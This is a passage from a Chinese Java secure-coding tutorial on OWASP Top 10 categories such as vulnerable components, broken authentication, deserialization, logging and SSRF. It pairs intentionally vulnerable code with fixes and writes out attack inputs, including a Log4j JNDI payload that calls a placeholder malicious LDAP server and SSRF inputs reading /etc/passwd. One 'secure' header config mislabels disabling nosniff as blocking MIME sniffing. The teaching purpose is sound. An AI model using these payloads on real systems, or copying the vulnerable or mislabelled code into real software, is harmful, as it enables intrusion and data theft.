public class GlobalExceptionHandler {
private static final Logger logger = LoggerFactory.getLogger(GlobalExceptionHandler.class);
@ExceptionHandler(Exception.class)
public ResponseEntity<Result> handleException(Exception e) {
// 详细异常信息仅打印在日志中,不返回给前端
logger.error("系统异常", e);
Result result = new Result();
result.setCode(500);
result.setMsg("系统内部错误,请稍后再试");
return new ResponseEntity<>(result, HttpStatus.INTERNAL_SERVER_ERROR);
}
@ExceptionHandler(BusinessException.class)
public ResponseEntity<Result> handleBusinessException(BusinessException e) {
logger.error("业务异常", e);
Result result = new Result();
result.setCode(e.getCode());
result.setMsg(e.getMsg());
return new ResponseEntity<>(result, HttpStatus.OK);
}
}
4. 配置HTTP安全响应头
使用Spring Security配置安全响应头,防止XSS、点击劫持、MIME类型嗅探等攻击:
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.web.SecurityFilterChain;
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests(auth -> auth
.requestMatchers("/api/auth/**").permitAll()
.anyRequest().authenticated()
)
.headers(headers -> headers
.frameOptions(frame -> frame.deny()) // 禁止页面被嵌入iframe,防止点击劫持
.contentTypeOptions(content -> content.disable()) // 禁用MIME类型嗅探
.xssProtection(xss -> xss.block()) // 开启XSS防护
.contentSecurityPolicy(csp -> csp.policyDirectives("default-src 'self'")) // 内容安全策略
)
.csrf(csrf -> csrf.disable());
return http.build();
}
}
5. 核心防护原则
- 建立标准化的安全配置基线,所有环境必须遵循统一的安全配置规范
- 禁用所有默认账号和默认配置,修改所有默认密码,使用强密码
- 定期使用自动化工具扫描配置错误,如Nessus、OpenVAS等
- 开发、测试、生产环境严格隔离,生产环境敏感信息必须加密存储,禁止硬编码
六、自带缺陷和过时的组件(Vulnerable and Outdated Components)
自带缺陷和过时的组件位列OWASP Top10 2021第六位,是企业被攻击的重灾区,Log4j2 JNDI注入、Spring4Shell、Fastjson反序列化等知名高危漏洞,都属于该类别。
底层原理
该风险的核心本质是:应用的安全强度,取决于整个依赖链中最薄弱的环节。即使自身代码写得再安全,依赖的第三方组件、框架、中间件存在已知的安全漏洞,或已经停止维护,攻击者可以利用这些已知漏洞,轻易攻破应用。
常见的风险场景:
- 使用存在已知高危漏洞的组件,如低版本的Log4j2、Fastjson、Spring Cloud Gateway
- 使用已经停止维护的过时组件,如Log4j 1.x、commons-beanutils 1.x
- 未清理未使用的依赖,通过传递依赖引入有漏洞的组件
- 未定期更新组件版本,使用的版本过低,存在大量已知漏洞
漏洞复现
Log4j2 JNDI注入漏洞(CVE-2021-44228),影响版本为2.0-beta9到2.14.1:
<dependencies>
<!-- 存在高危漏洞的Log4j2版本 -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping("/api")
public class LogController {
private static final Logger logger = LogManager.getLogger(LogController.class);
// 漏洞点:用户输入的内容直接被Log4j2解析,触发JNDI注入
@GetMapping("/log")
public String log(@RequestParam String content) {
logger.info("用户输入的内容:{}", content);
return "日志打印成功";
}
}
攻击者只需访问http://localhost:8080/api/log?content=${jndi:ldap://恶意服务器/恶意类},即可触发漏洞,执行任意代码,控制服务器。
防护方案
- 建立依赖白名单,仅使用经过安全验证、活跃维护的官方组件,禁止使用已停止维护的组件
- 定期更新组件到最新的稳定版本,及时修复已知的安全漏洞
- 清理未使用的依赖和功能,减少依赖数量,缩小攻击面
- 使用自动化工具定期扫描依赖漏洞,如OWASP Dependency-Check、Snyk、Dependabot等
- 处理传递依赖的漏洞,使用
<exclusions>排除有漏洞的传递依赖,或指定安全的版本覆盖 - 使用
<dependencyManagement>锁定所有依赖的版本,避免传递依赖引入有漏洞的版本 - 建立高危漏洞应急响应流程,当出现新的高危组件漏洞时,可快速评估影响、修复漏洞
七、身份认证和授权失效(Identification and Authentication Failures)
身份认证和授权失效位列OWASP Top10 2021第七位,是应用安全的第一道防线,一旦该环节失效,整个安全体系就会完全崩溃。
底层原理
该风险的核心本质是:应用在用户身份认证、会话管理环节存在缺陷,导致攻击者可以冒充合法用户,绕过身份认证,获取用户的权限,执行非授权操作。与失效的访问控制不同,该风险聚焦于“你是谁”的身份认证环节,而访问控制聚焦于“你能做什么”的授权环节。
常见的风险场景:
- 允许弱密码、默认密码,无密码复杂度要求
- 无防暴力破解机制,登录接口无次数限制、无验证码
- 会话管理缺陷,Session ID未过期、退出登录后未失效
- JWT token无过期时间、无吊销机制、使用弱密钥签名
- 多因素认证缺失,核心系统无二次身份校验
- 凭证明文传输、明文存储,导致身份信息泄露
漏洞复现
不安全的JWT实现:
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import java.util.Date;
public class InsecureJWTUtil {
// 漏洞点1:使用弱密钥,易被暴力破解
private static final String SECRET_KEY = "123456";
// 漏洞点2:未设置token过期时间,token永久有效
public static String generateToken(Long userId) {
return Jwts.builder()
.setSubject(userId.toString())
.signWith(SignatureAlgorithm.HS256, SECRET_KEY)
.compact();
}
// 漏洞点3:未校验token签名,攻击者可伪造任意token
public static Long getUserIdFromToken(String token) {
try {
return Long.valueOf(Jwts.parser()
.parseClaimsJws(token)
.getBody()
.getSubject());
} catch (Exception e) {
return null;
}
}
}
防护方案
1. 安全的JWT实现
import io.jsonwebtoken.*;
import io.jsonwebtoken.security.Keys;
import org.springframework.data.redis.core.RedisTemplate;
import java.security.Key;
import java.util.Base64;
import java.util.Date;
import java.util.concurrent.TimeUnit;
public class SecureJWTUtil {
private final Key secretKey;
private static final long ACCESS_TOKEN_EXPIRE_MINUTES = 15;
private static final long REFRESH_TOKEN_EXPIRE_DAYS = 7;
private static final String TOKEN_BLACKLIST_PREFIX = "token_blacklist:";
private final RedisTemplate<String, String> redisTemplate;
private final String issuer = "example.com";
// 密钥从配置中心/KMS获取,禁止硬编码
public SecureJWTUtil(String base64Key, RedisTemplate<String, String> redisTemplate) {
byte[] keyBytes = Base64.getDecoder().decode(base64Key);
this.secretKey = Keys.hmacShaKeyFor(keyBytes);
this.redisTemplate = redisTemplate;
}
// 生成256位安全密钥,仅用于初始化时使用
public static String generateSecureKey() {
Key key = Keys.secretKeyFor(SignatureAlgorithm.HS256);
return Base64.getEncoder().encodeToString(key.getEncoded());
}
public String generateAccessToken(Long userId) {
Date now = new Date();
Date expireDate = new Date(now.getTime() + ACCESS_TOKEN_EXPIRE_MINUTES * 60 * 1000);
return Jwts.builder()
.setIssuer(issuer)
.setSubject(userId.toString())
.setIssuedAt(now)
.setExpiration(expireDate)
.signWith(secretKey, SignatureAlgorithm.HS256)
.compact();
}
public String generateRefreshToken(Long userId) {
Date now = new Date();
Date expireDate = new Date(now.getTime() + REFRESH_TOKEN_EXPIRE_DAYS * 24 * 60 * 60 * 1000);
return Jwts.builder()
.setIssuer(issuer)
.setSubject(userId.toString())
.setIssuedAt(now)
.setExpiration(expireDate)
.signWith(secretKey, SignatureAlgorithm.HS256)
.compact();
}
// 校验token并解析用户ID,严格校验签名、过期时间、签发者
public Long validateTokenAndGetUserId(String token) {
// 先校验token是否在黑名单中
if (Boolean.TRUE.equals(redisTemplate.hasKey(TOKEN_BLACKLIST_PREFIX + token))) {
throw new ExpiredJwtException(null, null, "token已被吊销");
}
try {
Jws<Claims> claimsJws = Jwts.parserBuilder()
.setSigningKey(secretKey)
.requireIssuer(issuer)
.build()
.parseClaimsJws(token);
return Long.valueOf(claimsJws.getBody().getSubject());
} catch (ExpiredJwtException | MalformedJwtException | SignatureException | IllegalArgumentException e) {
return null;
}
}
// 退出登录时吊销token,加入黑名单
public void revokeToken(String token) {
try {
Claims claims = Jwts.parserBuilder()
.setSigningKey(secretKey)
.build()
.parseClaimsJws(token)
.getBody();
long expireTime = claims.getExpiration().getTime() - System.currentTimeMillis();
if (expireTime > 0) {
redisTemplate.opsForValue().set(TOKEN_BLACKLIST_PREFIX + token, "1", expireTime, TimeUnit.MILLISECONDS);
}
} catch (Exception e) {
// 无效token直接忽略
}
}
}
2. 身份认证全链路防护规范
- 密码复杂度强制要求:密码必须包含大小写字母、数字、特殊字符,长度不低于8位,禁止使用常见弱密码
- 防暴力破解机制:登录接口连续5次失败锁定账号15分钟,同时对IP地址做频率限制,1分钟内最多10次登录请求
- 会话安全管理:Session ID必须使用高熵随机值,退出登录、修改密码后立即失效会话,设置合理的会话超时时间
- 多因素认证:核心系统、管理员账号、敏感操作必须开启多因素认证,如短信验证码、谷歌身份验证器
- 凭证传输安全:所有身份认证相关接口必须使用HTTPS传输,禁止在URL中传递凭证信息
3. 核心防护原则
- 零信任原则:默认不信任任何请求,每次访问受保护资源都必须校验身份凭证
- 最小权限原则:仅给用户分配完成业务所需的最小身份权限,默认拒绝所有访问
- 凭证不可复用:禁止在多个系统使用相同的密钥、密码,定期更换所有身份凭证
- 全链路校验:身份校验必须在服务端执行,禁止仅在前端做身份校验,所有核心接口必须校验token的有效性
八、软件和数据完整性失效(Software and Data Integrity Failures)
软件和数据完整性失效位列OWASP Top10 2021第八位,是新增的核心风险类别,聚焦于供应链安全、代码和数据的完整性校验,近年来频发的供应链攻击事件,都属于该风险范畴。
底层原理
该风险的核心本质是:应用在代码、依赖、配置、数据的全生命周期中,没有做完整性校验,导致攻击者可以篡改代码、依赖、数据,植入恶意内容,最终在应用或用户端执行。最典型的场景包括供应链攻击、不安全的反序列化、无校验的自动更新、CDN资源劫持等。
漏洞复现
1. 不安全的Java反序列化漏洞
Java反序列化漏洞是最常见的完整性失效风险,当应用反序列化用户可控的不可信数据时,攻击者可以构造恶意序列化对象,执行任意代码,控制服务器。
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
@RestController
@RequestMapping("/api/data")
public class UnsafeDeserializeController {
// 漏洞点:直接反序列化用户传入的不可信数据,无任何校验
@PostMapping("/deserialize")
public String deserialize(@RequestBody String base64Data) throws Exception {
byte[] data = Base64.getDecoder().decode(base64Data);
ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = ois.readObject();
ois.close();
bais.close();
return "反序列化成功,对象类型:" + obj.getClass().getName();
}
}
攻击者可使用ysoserial等工具构造恶意序列化数据,传入该接口,即可执行任意代码,控制服务器。
2. 供应链安全风险示例
<dependencies>
<!-- 从非官方的第三方仓库拉取依赖,可能被植入恶意代码 -->
<dependency>
<groupId>com.example.fake</groupId>
<artifactId>fake-utils</artifactId>
<version>1.0.0</version>
</dependency>
</dependencies>
如果应用配置了非官方的Maven仓库,或引入了未经校验的第三方依赖,可能引入被篡改的恶意组件,造成供应链攻击。
安全校验流程
防护方案
1. 反序列化漏洞的核心防护
- 绝对禁止反序列化用户可控的不可信数据,这是最根本的防护方案
- 必须反序列化时,使用安全的序列化方式,如JSON序列化,禁止使用Java原生序列化
- 若必须使用Java原生序列化,需使用ValidatingObjectInputStream做白名单校验,仅允许反序列化指定的可信类
import org.apache.commons.io.serialization.ValidatingObjectInputStream;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.io.ByteArrayInputStream;
import java.util.Base64;
@RestController
@RequestMapping("/api/data")
public class SafeDeserializeController {
// 可信类白名单,仅允许反序列化指定的业务类
private static final String[] ALLOWED_CLASSES = {
"com.example.entity.User",
"com.example.entity.Order"
};
@PostMapping("/deserialize")
public String deserialize(@RequestBody String base64Data) throws Exception {
byte[] data = Base64.getDecoder().decode(base64Data);
ByteArrayInputStream bais = new ByteArrayInputStream(data);
// 使用ValidatingObjectInputStream做白名单校验
ValidatingObjectInputStream vois = new ValidatingObjectInputStream(bais);
for (String clazz : ALLOWED_CLASSES) {
vois.accept(clazz);
}
Object obj = vois.readObject();
vois.close();
bais.close();
return "反序列化成功,对象类型:" + obj.getClass().getName();
}
}
2. 供应链安全防护
- 仅使用官方Maven中央仓库、企业内部可信私有仓库,禁止使用未知的第三方仓库
- 所有依赖必须校验校验和与数字签名,确保依赖未被篡改
- 定期扫描依赖的供应链安全风险,使用Snyk、Dependency-Check等工具检测恶意依赖
- 禁止引入未维护、下载量低、未经安全验证的第三方依赖
- 建立依赖准入流程,所有新引入的依赖必须经过安全审核
3. 核心防护原则
- 完整性校验原则:所有代码、依赖、配置、数据,在加载和使用前必须做完整性校验,验证数字签名和哈希值
- 最小依赖原则:仅引入业务必需的依赖,清理未使用的依赖,缩小攻击面
- 可信来源原则:仅从官方、可信的来源获取代码、依赖、资源,禁止使用不可信的第三方内容
- 禁止反序列化不可信数据:永远不要反序列化来自不可信来源的数据,从根源上避免反序列化漏洞
九、安全日志与监控失效(Security Logging and Monitoring Failures)
安全日志与监控失效位列OWASP Top10 2021第九位,是很多企业被入侵后无法及时发现、溯源的核心原因。OWASP数据显示,超过90%的企业存在日志与监控不足的问题,入侵事件的平均发现时间超过200天。
底层原理
该风险的核心本质是:应用没有记录关键的安全事件,或日志内容不完整、不可信,没有建立有效的监控和告警机制,导致安全事件无法被及时发现、分析、溯源和响应,攻击者可以长期潜伏在系统中,造成持续的损害。
常见的风险场景:
- 未记录登录、权限变更、敏感操作等关键安全事件
- 日志仅记录成功操作,未记录失败的攻击尝试
- 日志中缺少关键信息,无法溯源攻击行为
- 日志仅存储在本地,未做集中管理,服务器被入侵后日志被删除
- 没有建立有效的监控和告警机制,无法及时发现异常行为
- 日志中记录了密码、密钥等敏感信息,造成敏感数据泄露
漏洞复现
1. 无效的日志记录示例
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping("/api/auth")
public class InvalidLogController {
private static final Logger logger = LogManager.getLogger(InvalidLogController.class);
private final UserService userService;
private final PasswordEncoder passwordEncoder;
public InvalidLogController(UserService userService, PasswordEncoder passwordEncoder) {
this.userService = userService;
this.passwordEncoder = passwordEncoder;
}
@PostMapping("/login")
public String login(@RequestBody UserLoginDTO dto) {
User user = userService.findByUsername(dto.getUsername());
if (user == null) {
// 漏洞点:未记录登录失败事件,无法发现暴力破解行为
return "用户名或密码错误";
}
if (!passwordEncoder.matches(dto.getPassword(), user.getPassword())) {
// 漏洞点:登录失败日志缺少关键信息,无法溯源
logger.info("登录失败");
return "用户名或密码错误";
}
// 漏洞点:登录成功日志缺少关键信息,无法审计
logger.info("登录成功");
return "登录成功";
}
}
2. 日志中记录敏感信息示例
// 漏洞点:日志中记录了用户密码,造成敏感数据泄露
logger.info("用户登录,用户名:{},密码:{}", dto.getUsername(), dto.getPassword());
// 漏洞点:日志中记录了完整的身份证号、银行卡号,造成敏感数据泄露
logger.info("用户提交实名认证,身份证号:{},银行卡号:{}", idCard, bankCard);
防护方案
1. 安全的日志记录规范
- 必须记录的关键安全事件:登录成功/失败、退出登录、密码修改、权限变更、敏感数据访问、敏感操作、异常请求、攻击尝试
- 日志必须包含的关键字段:事件时间、事件类型、用户ID、客户端IP、请求路径、请求参数(脱敏后)、操作结果、设备信息
- 绝对禁止在日志中记录密码、密钥、完整身份证号、银行卡号等敏感信息,所有敏感数据必须脱敏后记录
- 日志必须保证不可篡改,禁止本地存储日志,必须同步到集中式日志系统,如ELK、Splunk
安全的登录日志示例:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
@RestController
@RequestMapping("/api/auth")
public class SafeLogController {
private static final Logger logger = LogManager.getLogger(SafeLogController.class);
private final UserService userService;
private final PasswordEncoder passwordEncoder;
public SafeLogController(UserService userService, PasswordEncoder passwordEncoder) {
this.userService = userService;
this.passwordEncoder = passwordEncoder;
}
@PostMapping("/login")
public String login(@RequestBody UserLoginDTO dto, HttpServletRequest request) {
String clientIp = getClientIp(request);
String username = dto.getUsername();
User user = userService.findByUsername(username);
if (user == null) {
logger.warn("登录失败,用户不存在,用户名:{},客户端IP:{},请求路径:{}",
username, clientIp, request.getRequestURI());
return "用户名或密码错误";
}
if (!passwordEncoder.matches(dto.getPassword(), user.getPassword())) {
logger.warn("登录失败,密码错误,用户ID:{},用户名:{},客户端IP:{},请求路径:{}",
user.getId(), username, clientIp, request.getRequestURI());
return "用户名或密码错误";
}
logger.info("登录成功,用户ID:{},用户名:{},客户端IP:{},请求路径:{}",
user.getId(), username, clientIp, request.getRequestURI());
return "登录成功";
}
private String getClientIp(HttpServletRequest request) {
String ip = request.getHeader("X-Forwarded-For");
if (ip == null || ip.isEmpty() || "unknown".equalsIgnoreCase(ip)) {
ip = request.getHeader("Proxy-Client-IP");
}
if (ip == null || ip.isEmpty() || "unknown".equalsIgnoreCase(ip)) {
ip = request.getHeader("WL-Proxy-Client-IP");
}
if (ip == null || ip.isEmpty() || "unknown".equalsIgnoreCase(ip)) {
ip = request.getRemoteAddr();
}
return ip.split(",")[0].trim();
}
}
2. 安全监控与告警机制
- 建立实时监控体系,对关键安全事件进行实时监控,及时发现异常行为
- 必须配置的核心告警规则:短时间内多次登录失败、异地登录、非工作时间敏感操作、权限异常变更、高频异常请求、接口访问异常
- 告警必须分级,不同级别的告警采用不同的通知方式,如短信、电话、邮件、企业微信通知
- 建立安全事件响应流程,告警触发后必须有专人负责处理、分析、闭环
- 定期对日志进行审计,分析潜在的安全风险,优化防护策略
3. 核心防护原则
- 全量记录原则:所有关键安全事件必须完整记录,不能遗漏,确保攻击行为可溯源
- 日志不可篡改原则:日志必须集中存储,保证不可篡改、不可删除,即使服务器被入侵,日志依然完整
- 敏感信息脱敏原则:日志中所有敏感信息必须脱敏,禁止记录明文敏感数据
- 实时监控原则:建立实时监控和告警机制,确保安全事件可及时发现、及时响应
十、服务端请求伪造(Server-Side Request Forgery, SSRF)
服务端请求伪造位列OWASP Top10 2021第十位,是近年来云原生、微服务架构下最受关注的安全风险,随着云服务的普及,SSRF漏洞的危害越来越大。
底层原理
SSRF的核心本质是:攻击者利用服务端的接口,构造恶意请求,让服务端代替攻击者发起请求,访问或攻击服务端内网的资源。因为请求是从受信任的服务端发起的,可以绕过防火墙、访问控制等防护措施,扫描内网端口、攻击内网服务、读取本地文件,甚至执行代码。
常见的风险场景:
- 图片加载、文件下载接口,用户传入URL,服务端直接发起请求获取资源
- 第三方接口调用、webhook回调接口,用户传入回调地址,服务端直接请求
- 云服务元数据接口访问,攻击者通过SSRF获取云服务器的AK/SK,控制整个云资源
- 内网服务扫描,攻击者通过SSRF探测内网存活的服务和端口,寻找可利用的漏洞
漏洞复现
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;
@RestController
@RequestMapping("/api/resource")
public class SSRFController {
// 漏洞点:直接使用用户传入的URL发起请求,无任何校验,可发起SSRF攻击
@GetMapping("/fetch")
public String fetchResource(@RequestParam String url) throws Exception {
URL targetUrl = new URL(url);
URLConnection connection = targetUrl.openConnection();
InputStream is = connection.getInputStream();
byte[] buffer = new byte[1024];
int len;
StringBuilder result = new StringBuilder();
while ((len = is.read(buffer)) != -1) {
result.append(new String(buffer, 0, len));
}
is.close();
return result.toString();
}
}
攻击者传入http://127.0.0.1:8080/api/admin/users,即可让服务端访问本地的管理员接口,获取全量用户数据;传入file:///etc/passwd,可读取服务器本地文件;传入云服务元数据地址,可获取云服务器的AK/SK,控制整个云资源。
SSRF攻击流程
防护方案
1. 根本防护原则
- 禁止直接使用用户传入的URL发起请求,优先使用白名单模式,仅允许访问预设的可信域名和地址
- 必须使用用户传入的URL时,必须做严格的校验,禁止访问内网、本地地址,禁止使用file、gopher、ftp等危险协议
- 禁用不必要的协议,仅允许http和https协议
- 对请求的响应做严格的限制,禁止返回敏感内容,限制响应大小
2. 安全的资源获取实现
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.io.InputStream;
import java.net.*;
import java.util.Arrays;
import java.util.List;
@RestController
@RequestMapping("/api/resource")
public class SafeSSRFController {
// 可信域名白名单,仅允许访问白名单内的域名
private static final List<String> ALLOWED_DOMAINS = Arrays.asList(
"example.com",
"cdn.example.com"
);
// 禁止访问的内网网段
private static final List<String> FORBIDDEN_NETWORKS = Arrays.asList(
"127.0.0.0/8",
"10.0.0.0/8",
"172.16.0.0/12",
"192.168.0.0/16",
"169.254.0.0/16",
"0.0.0.0/8",
"::1/128",
"fc00::/7",
"fe80::/10"
);
@GetMapping("/fetch")
public String fetchResource(@RequestParam String url) throws Exception {
URL targetUrl;
try {
targetUrl = new URL(url);
} catch (MalformedURLException e) {
throw new IllegalArgumentException("非法的URL格式");
}
// 1. 仅允许http和https协议,禁止其他危险协议
String protocol = targetUrl.getProtocol();
if (!"http".equals(protocol) && !"https".equals(protocol)) {
throw new IllegalArgumentException("仅允许http和https协议");
}
// 2. 校验域名是否在白名单内
String host = targetUrl.getHost();
boolean isDomainAllowed = ALLOWED_DOMAINS.stream().anyMatch(allowedDomain -> host.endsWith("." + allowedDomain) || host.equals(allowedDomain));
if (!isDomainAllowed) {
throw new IllegalArgumentException("不允许访问的域名");
}
// 3. 解析IP地址,禁止访问内网IP
InetAddress address = InetAddress.getByName(host);
if (isForbiddenIp(address)) {
throw new IllegalArgumentException("不允许访问的IP地址");
}
// 4. 限制端口,仅允许80和443端口
int port = targetUrl.getPort() == -1 ? targetUrl.getDefaultPort() : targetUrl.getPort();
if (port != 80 && port != 443) {
throw new IllegalArgumentException("仅允许访问80和443端口");
}
// 5. 发起请求,设置超时时间,防止SSRF作为端口扫描工具
URLConnection connection = targetUrl.openConnection();
connection.setConnectTimeout(5000);
connection.setReadTimeout(5000);
connection.setDoInput(true);
connection.setDoOutput(false);
// 6. 限制响应大小,防止大文件攻击
int maxSize = 1024 * 1024; // 最大1MB
try (InputStream is = connection.getInputStream()) {
byte[] buffer = new byte[1024];
int len;
int totalSize = 0;
StringBuilder result = new StringBuilder();
while ((len = is.read(buffer)) != -1) {
totalSize += len;
if (totalSize > maxSize) {
throw new IllegalArgumentException("响应内容超出大小限制");
}
result.append(new String(buffer, 0, len));
}
return result.toString();
}
}
private boolean isForbiddenIp(InetAddress address) {
if (address.isLoopbackAddress() || address.isSiteLocalAddress() || address.isLinkLocalAddress() || address.isAnyLocalAddress()) {
return true;
}
for (String cidr : FORBIDDEN_NETWORKS) {
if (isIpInCidr(address, cidr)) {
return true;
}
}
return false;
}
private boolean isIpInCidr(InetAddress address, String cidr) {
String[] parts = cidr.split("/");
String ipAddress = parts[0];
int prefix = Integer.parseInt(parts[1]);
try {
InetAddress cidrAddress = InetAddress.getByName(ipAddress);
byte[] addressBytes = address.getAddress();
byte[] cidrBytes = cidrAddress.getAddress();
if (addressBytes.length != cidrBytes.length) {
return false;
}
int fullBytes = prefix / 8;
int remainderBits = prefix % 8;
for (int i = 0; i < fullBytes; i++) {
if (addressBytes[i] != cidrBytes[i]) {
return false;
}
}
if (remainderBits > 0) {
int mask = 0xFF << (8 - remainderBits);
if ((addressBytes[fullBytes] & mask) != (cidrBytes[fullBytes] & mask)) {
return false;
}
}
return true;
} catch (Exception e) {
return false;
}
}
}
3. 核心防护原则
- 白名单优先原则:优先使用域名白名单,仅允许访问可信的域名和地址,这是最有效的SSRF防护方案
- 协议限制原则:仅允许http和https协议,禁止所有其他危险协议
- 内网禁止原则:禁止访问内网、本地、回环地址,防止内网探测和攻击
- 最小权限原则:发起请求的服务账号仅分配最小权限,禁止访问云服务元数据接口,降低SSRF漏洞的危害
- 超时限制原则:设置合理的连接和读取超时时间,防止SSRF被用作端口扫描工具
总结
Java应用安全是一个全链路、全生命周期的体系,没有绝对的安全,只有持续的防护。OWASP Top10覆盖了Java Web应用90%以上的安全风险,掌握每类风险的底层原理、攻击方式和防护方案,是每一位Java开发者必备的能力。
安全不是一次性的工作,而是持续的过程。开发者需要在需求、设计、开发、测试、上线、运维的全流程中融入安全思维,建立安全开发规范,定期开展安全培训和漏洞扫描,及时修复安全风险,才能真正筑牢Java应用的安全防线,避免因为安全漏洞造成不可挽回的损失。